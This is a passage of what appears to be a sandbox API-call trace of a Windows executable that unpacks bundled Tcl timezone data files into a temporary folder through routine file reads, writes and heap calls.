(lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.652] GetFileType (hFile=0x10c) returned 0x1 [0042.652] htonl (hostlong=0xfa645c00) returned 0x5c64fa [0042.652] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6114fa, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.652] htonl (hostlong=0x51070000) returned 0x751 [0042.652] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x751) returned 0x55e278 [0042.652] htonl (hostlong=0x51070000) returned 0x751 [0042.652] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.653] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.653] htonl (hostlong=0x86220000) returned 0x2286 [0042.653] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2286) returned 0x561090 [0042.654] htonl (hostlong=0x51070000) returned 0x751 [0042.654] htonl (hostlong=0x86220000) returned 0x2286 [0042.654] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563320 [0042.654] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563320 | out: hHeap=0x530000) returned 1 [0042.654] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0042.654] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.654] CloseHandle (hObject=0x10c) returned 1 [0042.654] GetLastError () returned 0x0 [0042.654] SetLastError (dwErrCode=0x0) [0042.654] GetLastError () returned 0x0 [0042.654] SetLastError (dwErrCode=0x0) [0042.654] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.654] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.654] GetFileType (hFile=0x10c) returned 0x1 [0042.654] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.654] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.654] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.654] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.654] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.654] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.654] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.654] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.654] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.655] CloseHandle (hObject=0x10c) returned 1 [0042.655] GetLastError () returned 0x0 [0042.655] SetLastError (dwErrCode=0x0) [0042.655] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.655] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.655] GetFileType (hFile=0x10c) returned 0x1 [0042.655] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.655] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.655] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.655] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.655] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.655] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.655] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.655] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.655] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.655] CloseHandle (hObject=0x10c) returned 1 [0042.655] GetLastError () returned 0x0 [0042.655] SetLastError (dwErrCode=0x0) [0042.655] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.655] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.655] GetFileType (hFile=0x10c) returned 0x1 [0042.655] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.655] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.655] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.655] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.656] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.656] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.656] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.656] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.656] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.656] CloseHandle (hObject=0x10c) returned 1 [0042.656] GetLastError () returned 0x0 [0042.656] SetLastError (dwErrCode=0x0) [0042.656] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Paris") returned 69 [0042.656] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Paris" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\paris"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.656] GetLastError () returned 0x2 [0042.656] SetLastError (dwErrCode=0x2) [0042.656] GetLastError () returned 0x2 [0042.656] SetLastError (dwErrCode=0x2) [0042.656] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Paris", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Paris", lpFilePart=0x0) returned 0x44 [0042.656] GetLastError () returned 0x2 [0042.656] SetLastError (dwErrCode=0x2) [0042.656] GetLastError () returned 0x2 [0042.656] SetLastError (dwErrCode=0x2) [0042.656] GetLastError () returned 0x2 [0042.656] SetLastError (dwErrCode=0x2) [0042.656] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Paris") returned 69 [0042.656] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.656] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Paris" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\paris"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.657] GetFileType (hFile=0x10c) returned 0x1 [0042.657] htonl (hostlong=0x86220000) returned 0x2286 [0042.657] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0042.658] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.658] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x286, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x286, lpOverlapped=0x0) returned 1 [0042.658] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.658] CloseHandle (hObject=0x10c) returned 1 [0042.659] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.659] htonl (hostlong=0x30000000) returned 0x30 [0042.659] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.659] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.659] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.659] GetFileType (hFile=0x10c) returned 0x1 [0042.659] htonl (hostlong=0x4b6c5c00) returned 0x5c6c4b [0042.659] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x611c4b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.659] htonl (hostlong=0x8d000000) returned 0x8d [0042.659] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8d) returned 0x55cfe0 [0042.659] htonl (hostlong=0x8d000000) returned 0x8d [0042.659] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.659] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.659] htonl (hostlong=0xb9000000) returned 0xb9 [0042.659] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb9) returned 0x55de50 [0042.659] htonl (hostlong=0x8d000000) returned 0x8d [0042.659] htonl (hostlong=0xb9000000) returned 0xb9 [0042.659] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.659] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.659] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.659] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.659] CloseHandle (hObject=0x10c) returned 1 [0042.659] GetLastError () returned 0x0 [0042.659] SetLastError (dwErrCode=0x0) [0042.659] GetLastError () returned 0x0 [0042.660] SetLastError (dwErrCode=0x0) [0042.660] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.660] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.660] GetFileType (hFile=0x10c) returned 0x1 [0042.660] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.660] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.660] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.660] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.660] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.660] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.660] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.660] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.660] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.660] CloseHandle (hObject=0x10c) returned 1 [0042.660] GetLastError () returned 0x0 [0042.660] SetLastError (dwErrCode=0x0) [0042.660] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.660] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.660] GetFileType (hFile=0x10c) returned 0x1 [0042.660] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.660] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.660] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.660] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.660] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.660] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.661] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.661] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.661] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.661] CloseHandle (hObject=0x10c) returned 1 [0042.661] GetLastError () returned 0x0 [0042.661] SetLastError (dwErrCode=0x0) [0042.661] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.661] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.661] GetFileType (hFile=0x10c) returned 0x1 [0042.661] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.661] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.661] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.661] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.661] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.661] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.661] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.661] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.661] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.661] CloseHandle (hObject=0x10c) returned 1 [0042.661] GetLastError () returned 0x0 [0042.661] SetLastError (dwErrCode=0x0) [0042.661] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Podgorica") returned 73 [0042.661] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Podgorica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\podgorica"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.662] GetLastError () returned 0x2 [0042.662] SetLastError (dwErrCode=0x2) [0042.662] GetLastError () returned 0x2 [0042.662] SetLastError (dwErrCode=0x2) [0042.662] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Podgorica", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Podgorica", lpFilePart=0x0) returned 0x48 [0042.662] GetLastError () returned 0x2 [0042.662] SetLastError (dwErrCode=0x2) [0042.662] GetLastError () returned 0x2 [0042.662] SetLastError (dwErrCode=0x2) [0042.662] GetLastError () returned 0x2 [0042.662] SetLastError (dwErrCode=0x2) [0042.662] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Podgorica") returned 73 [0042.662] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.662] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Podgorica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\podgorica"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.662] GetFileType (hFile=0x10c) returned 0x1 [0042.662] htonl (hostlong=0xb9000000) returned 0xb9 [0042.662] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.662] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb9, lpOverlapped=0x0) returned 1 [0042.663] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.663] CloseHandle (hObject=0x10c) returned 1 [0042.663] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55de50 | out: hHeap=0x530000) returned 1 [0042.663] htonl (hostlong=0x30000000) returned 0x30 [0042.663] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.663] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.663] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.663] GetFileType (hFile=0x10c) returned 0x1 [0042.663] htonl (hostlong=0xd86c5c00) returned 0x5c6cd8 [0042.664] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x611cd8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.664] htonl (hostlong=0x44060000) returned 0x644 [0042.664] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x644) returned 0x550600 [0042.664] htonl (hostlong=0x44060000) returned 0x644 [0042.664] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.664] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.664] 